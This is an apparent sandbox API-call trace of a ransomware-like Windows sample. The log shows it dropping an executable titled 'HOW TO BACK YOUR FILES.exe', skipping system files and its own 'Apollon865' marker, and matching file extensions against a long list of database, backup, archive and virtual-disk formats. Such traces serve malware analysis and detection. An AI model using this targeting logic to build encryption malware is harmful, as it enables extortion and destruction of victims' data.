	[0050.945] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.945] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0050.945] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082"
	[0050.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0050.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0050.945] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned 47
	[0050.946] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: lpString1="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082"
	[0050.946] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.946] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.946] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.946] GetLastError () returned 0x0
	[0050.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.946] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.957] CloseHandle (hObject=0x15c) returned 1
	[0050.959] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.960] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.962] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb6db30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb6db30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.976] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.976] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.976] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.976] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb6db30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb6db30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.976] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.976] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.976] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.976] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.976] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1
	[0050.976] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.976] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0050.976] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".") returned 1
	[0050.976] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="..") returned 1
	[0050.976] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="windows") returned -1
	[0050.976] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="temp") returned -1
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="boot") returned 1
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ids.txt") returned -1
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="perflogs") returned -1
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0050.977] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0050.977] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*") returned 49
	[0050.977] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ENVELOPR.DLL.trx_dll" | out: lpString1="ENVELOPR.DLL.trx_dll") returned="ENVELOPR.DLL.trx_dll"
	[0050.977] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0050.977] lstrlenW (lpString="Apollon865") returned 10
	[0050.977] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0050.977] lstrlenW (lpString=".dll") returned 4
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".dll") returned 1
	[0050.977] lstrlenW (lpString=".lnk") returned 4
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0050.977] lstrlenW (lpString=".ini") returned 4
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".ini") returned 1
	[0050.977] lstrlenW (lpString=".sys") returned 4
	[0050.977] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".sys") returned 1
	[0050.977] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0050.977] lstrlenW (lpString="bak") returned 3
	[0050.977] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0050.977] lstrlenW (lpString="ba_") returned 3
	[0050.977] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0050.977] lstrlenW (lpString="dbb") returned 3
	[0050.977] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0050.977] lstrlenW (lpString="vmdk") returned 4
	[0050.977] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0050.977] lstrlenW (lpString="rar") returned 3
	[0050.977] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0050.977] lstrlenW (lpString="zip") returned 3
	[0050.977] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0050.978] lstrlenW (lpString="tgz") returned 3
	[0050.978] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0050.978] lstrlenW (lpString="vbox") returned 4
	[0050.978] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0050.978] lstrlenW (lpString="vdi") returned 3
	[0050.978] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0050.978] lstrlenW (lpString="vhd") returned 3
	[0050.978] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0050.978] lstrlenW (lpString="vhdx") returned 4
	[0050.978] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0050.978] lstrlenW (lpString="avhd") returned 4
	[0050.978] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0050.978] lstrlenW (lpString="db") returned 2
	[0050.978] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0050.978] lstrlenW (lpString="db2") returned 3
	[0050.978] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0050.978] lstrlenW (lpString="db3") returned 3
	[0050.978] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0050.978] lstrlenW (lpString="dbf") returned 3
	[0050.978] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0050.978] lstrlenW (lpString="mdf") returned 3
	[0050.978] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0050.978] lstrlenW (lpString="mdb") returned 3
	[0050.978] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0050.978] lstrlenW (lpString="sql") returned 3
	[0050.978] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0050.978] lstrlenW (lpString="sqlite") returned 6
	[0050.978] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0050.978] lstrlenW (lpString="sqlite3") returned 7
	[0050.978] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0050.978] lstrlenW (lpString="sqlitedb") returned 8
	[0050.978] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0050.978] lstrlenW (lpString="xml") returned 3
	[0050.978] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0050.978] lstrlenW (lpString="$er") returned 3
	[0050.979] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0050.979] lstrlenW (lpString="4dd") returned 3
	[0050.979] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0050.979] lstrlenW (lpString="4dl") returned 3
	[0050.979] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0050.979] lstrlenW (lpString="^^^") returned 3
	[0050.979] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0050.979] lstrlenW (lpString="abs") returned 3
	[0050.979] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0050.979] lstrlenW (lpString="abx") returned 3
	[0050.979] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0050.979] lstrlenW (lpString="accdb") returned 5
	[0050.979] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0050.979] lstrlenW (lpString="accdc") returned 5
	[0050.979] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0050.979] lstrlenW (lpString="accde") returned 5
	[0050.979] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0050.979] lstrlenW (lpString="accdr") returned 5
	[0050.979] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0050.979] lstrlenW (lpString="accdt") returned 5
	[0050.979] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0050.979] lstrlenW (lpString="accdw") returned 5
	[0050.979] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0050.979] lstrlenW (lpString="accft") returned 5
	[0050.979] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0050.979] lstrlenW (lpString="adb") returned 3
	[0050.979] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0050.979] lstrlenW (lpString="adb") returned 3
	[0050.979] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0050.979] lstrlenW (lpString="ade") returned 3
	[0050.979] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0050.979] lstrlenW (lpString="adf") returned 3
	[0050.979] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0050.979] lstrlenW (lpString="adn") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0050.980] lstrlenW (lpString="adp") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0050.980] lstrlenW (lpString="alf") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0050.980] lstrlenW (lpString="ask") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0050.980] lstrlenW (lpString="btr") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0050.980] lstrlenW (lpString="cat") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0050.980] lstrlenW (lpString="cdb") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0050.980] lstrlenW (lpString="ckp") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0050.980] lstrlenW (lpString="cma") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0050.980] lstrlenW (lpString="cpd") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0050.980] lstrlenW (lpString="dacpac") returned 6
	[0050.980] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0050.980] lstrlenW (lpString="dad") returned 3
	[0050.980] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0050.980] lstrlenW (lpString="dadiagrams") returned 10
	[0050.980] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0050.980] lstrlenW (lpString="daschema") returned 8
	[0050.980] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0050.980] lstrlenW (lpString="db-journal") returned 10
	[0050.980] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0050.980] lstrlenW (lpString="db-shm") returned 6
	[0050.980] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0050.980] lstrlenW (lpString="db-wal") returned 6
	[0050.980] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0050.980] lstrlenW (lpString="dbc") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0050.981] lstrlenW (lpString="dbs") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0050.981] lstrlenW (lpString="dbt") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0050.981] lstrlenW (lpString="dbv") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0050.981] lstrlenW (lpString="dbx") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0050.981] lstrlenW (lpString="dcb") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0050.981] lstrlenW (lpString="dct") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0050.981] lstrlenW (lpString="dcx") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0050.981] lstrlenW (lpString="ddl") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0050.981] lstrlenW (lpString="dlis") returned 4
	[0050.981] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0050.981] lstrlenW (lpString="dp1") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0050.981] lstrlenW (lpString="dqy") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0050.981] lstrlenW (lpString="dsk") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0050.981] lstrlenW (lpString="dsn") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0050.981] lstrlenW (lpString="dtsx") returned 4
	[0050.981] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0050.981] lstrlenW (lpString="dxl") returned 3
	[0050.981] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0050.981] lstrlenW (lpString="eco") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0050.982] lstrlenW (lpString="ecx") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0050.982] lstrlenW (lpString="edb") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0050.982] lstrlenW (lpString="epim") returned 4
	[0050.982] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0050.982] lstrlenW (lpString="fcd") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0050.982] lstrlenW (lpString="fdb") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0050.982] lstrlenW (lpString="fic") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0050.982] lstrlenW (lpString="flexolibrary") returned 12
	[0050.982] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0050.982] lstrlenW (lpString="fm5") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0050.982] lstrlenW (lpString="fmp") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0050.982] lstrlenW (lpString="fmp12") returned 5
	[0050.982] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0050.982] lstrlenW (lpString="fmpsl") returned 5
	[0050.982] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0050.982] lstrlenW (lpString="fol") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0050.982] lstrlenW (lpString="fp3") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0050.982] lstrlenW (lpString="fp4") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0050.982] lstrlenW (lpString="fp5") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0050.982] lstrlenW (lpString="fp7") returned 3
	[0050.982] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0050.982] lstrlenW (lpString="fpt") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0050.983] lstrlenW (lpString="frm") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0050.983] lstrlenW (lpString="gdb") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0050.983] lstrlenW (lpString="gdb") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0050.983] lstrlenW (lpString="grdb") returned 4
	[0050.983] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0050.983] lstrlenW (lpString="gwi") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0050.983] lstrlenW (lpString="hdb") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0050.983] lstrlenW (lpString="his") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0050.983] lstrlenW (lpString="ib") returned 2
	[0050.983] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0050.983] lstrlenW (lpString="idb") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0050.983] lstrlenW (lpString="ihx") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0050.983] lstrlenW (lpString="itdb") returned 4
	[0050.983] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0050.983] lstrlenW (lpString="itw") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0050.983] lstrlenW (lpString="jet") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0050.983] lstrlenW (lpString="jtx") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0050.983] lstrlenW (lpString="kdb") returned 3
	[0050.983] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0050.983] lstrlenW (lpString="kexi") returned 4
	[0050.983] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0050.983] lstrlenW (lpString="kexic") returned 5
	[0050.983] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0050.984] lstrlenW (lpString="kexis") returned 5
	[0050.984] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0050.984] lstrlenW (lpString="lgc") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0050.984] lstrlenW (lpString="lwx") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0050.984] lstrlenW (lpString="maf") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0050.984] lstrlenW (lpString="maq") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0050.984] lstrlenW (lpString="mar") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0050.984] lstrlenW (lpString="marshal") returned 7
	[0050.984] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0050.984] lstrlenW (lpString="mas") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0050.984] lstrlenW (lpString="mav") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0050.984] lstrlenW (lpString="maw") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0050.984] lstrlenW (lpString="mdbhtml") returned 7
	[0050.984] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0050.984] lstrlenW (lpString="mdn") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0050.984] lstrlenW (lpString="mdt") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0050.984] lstrlenW (lpString="mfd") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0050.984] lstrlenW (lpString="mpd") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0050.984] lstrlenW (lpString="mrg") returned 3
	[0050.984] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0050.984] lstrlenW (lpString="mud") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0050.985] lstrlenW (lpString="mwb") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0050.985] lstrlenW (lpString="myd") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0050.985] lstrlenW (lpString="ndf") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0050.985] lstrlenW (lpString="nnt") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0050.985] lstrlenW (lpString="nrmlib") returned 6
	[0050.985] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0050.985] lstrlenW (lpString="ns2") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0050.985] lstrlenW (lpString="ns3") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0050.985] lstrlenW (lpString="ns4") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0050.985] lstrlenW (lpString="nsf") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0050.985] lstrlenW (lpString="nv") returned 2
	[0050.985] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0050.985] lstrlenW (lpString="nv2") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0050.985] lstrlenW (lpString="nwdb") returned 4
	[0050.985] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0050.985] lstrlenW (lpString="nyf") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0050.985] lstrlenW (lpString="odb") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0050.985] lstrlenW (lpString="odb") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0050.985] lstrlenW (lpString="oqy") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0050.985] lstrlenW (lpString="ora") returned 3
	[0050.985] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0050.986] lstrlenW (lpString="orx") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0050.986] lstrlenW (lpString="owc") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0050.986] lstrlenW (lpString="p96") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0050.986] lstrlenW (lpString="p97") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0050.986] lstrlenW (lpString="pan") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0050.986] lstrlenW (lpString="pdb") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0050.986] lstrlenW (lpString="pdm") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0050.986] lstrlenW (lpString="pnz") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0050.986] lstrlenW (lpString="qry") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0050.986] lstrlenW (lpString="qvd") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0050.986] lstrlenW (lpString="rbf") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0050.986] lstrlenW (lpString="rctd") returned 4
	[0050.986] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0050.986] lstrlenW (lpString="rod") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0050.986] lstrlenW (lpString="rodx") returned 4
	[0050.986] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0050.986] lstrlenW (lpString="rpd") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0050.986] lstrlenW (lpString="rsd") returned 3
	[0050.986] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0050.986] lstrlenW (lpString="sas7bdat") returned 8
	[0050.986] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0050.987] lstrlenW (lpString="sbf") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0050.987] lstrlenW (lpString="scx") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0050.987] lstrlenW (lpString="sdb") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0050.987] lstrlenW (lpString="sdc") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0050.987] lstrlenW (lpString="sdf") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0050.987] lstrlenW (lpString="sis") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0050.987] lstrlenW (lpString="spq") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
